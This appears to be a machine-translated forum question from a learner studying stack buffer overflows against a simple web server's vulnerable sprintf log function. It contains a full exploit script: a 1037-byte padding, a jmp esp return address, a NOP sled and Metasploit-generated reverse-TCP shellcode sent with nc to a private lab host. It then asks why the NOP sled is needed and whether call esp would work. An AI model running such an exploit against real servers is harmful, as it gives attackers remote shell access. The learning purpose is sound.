Sto imparando l'overflow del buffer dello stack e apprezzerei l'aiuto.
Sto sfruttando un semplice server web che contiene questa funzione di registro. L'argomento s1 è l'input che fornisco via HTTP. Il server è in esecuzione su x86 linux con randomizzazione degli indirizzi dello stack.
void log(int type, char *s1, int num)
{
int fd ;
char logbuffer[1024];
sprintf(logbuffer," INFO: %s:%d",s1,num);
}
Con metasploit pattern_create.rb e pattern_offset.rb ottengo l'offset di EIP che è 1037.
Genero shellcode con msfconsole; usa linux / x86 / shell_reverse_tcp; genera -e x86 / alpha_mixed -t bash
Trovo diversi indirizzi nella libreria standard contenente l'istruzione jump% esp. Sto usando 0x42122BA7.
Il mio script completo di exploit:
pre='perl -e "print 'A' x 1037;"'
nops='perl -e "print '\x90' x 9;"'
shellcode=... [from msfconsole]
address="\xA7\x2B\x12\x42"
egg="${pre}${address}${nops}${shellcode}"
echo -e $egg | nc 192.168.230.132 8888
echo $?
L'exploit funziona solo quando includo 9 e più nops tra l'EIP sovrascritto e l'inizio dello shellcode, altrimenti seg segna i difetti. La mia domanda è perché? Perché la slitta per i nops è necessaria in questo caso? La mia ipotesi è che lo shellcode decodifichi se stesso e sovrascriva un po 'di memoria prima di esso; quando includo i nops, la memoria è scrivibile, quando non lo faccio, la memoria non è scrivibile (perché è prima dell'ESP?) e quindi seg segna i difetti.
La mia seconda domanda è se questo exploit possa funzionare con "call% esp" invece di "jmp% esp". Secondo quello che ho trovato su Internet, funzionerebbe, ma non capisco perché. Immaginate lo stesso exploit di quello scritto sopra ma sovrascrivendo l'EIP con l'indirizzo contenente "call% esp". Questa è la mia comprensione di ciò che seguirà:
- funzione log ret urne. EIP viene estratto dallo stack e dal processore jmp su di esso. Punti ESP sotto (indirizzo più grande) EIP appena spuntato (NOPs ci sono).
- il processore trova l'istruzione "call% esp". EIP è spinto a impilare. L'ESP ora punta all'EIP appena spinto.
- jmp% esp viene eseguito. Saltare in cima alla pila dov'è l'EIP che è stato appena spinto.
- Che ora? L'istruzione successiva non è un NOP ma un primo byte casuale dell'EIP.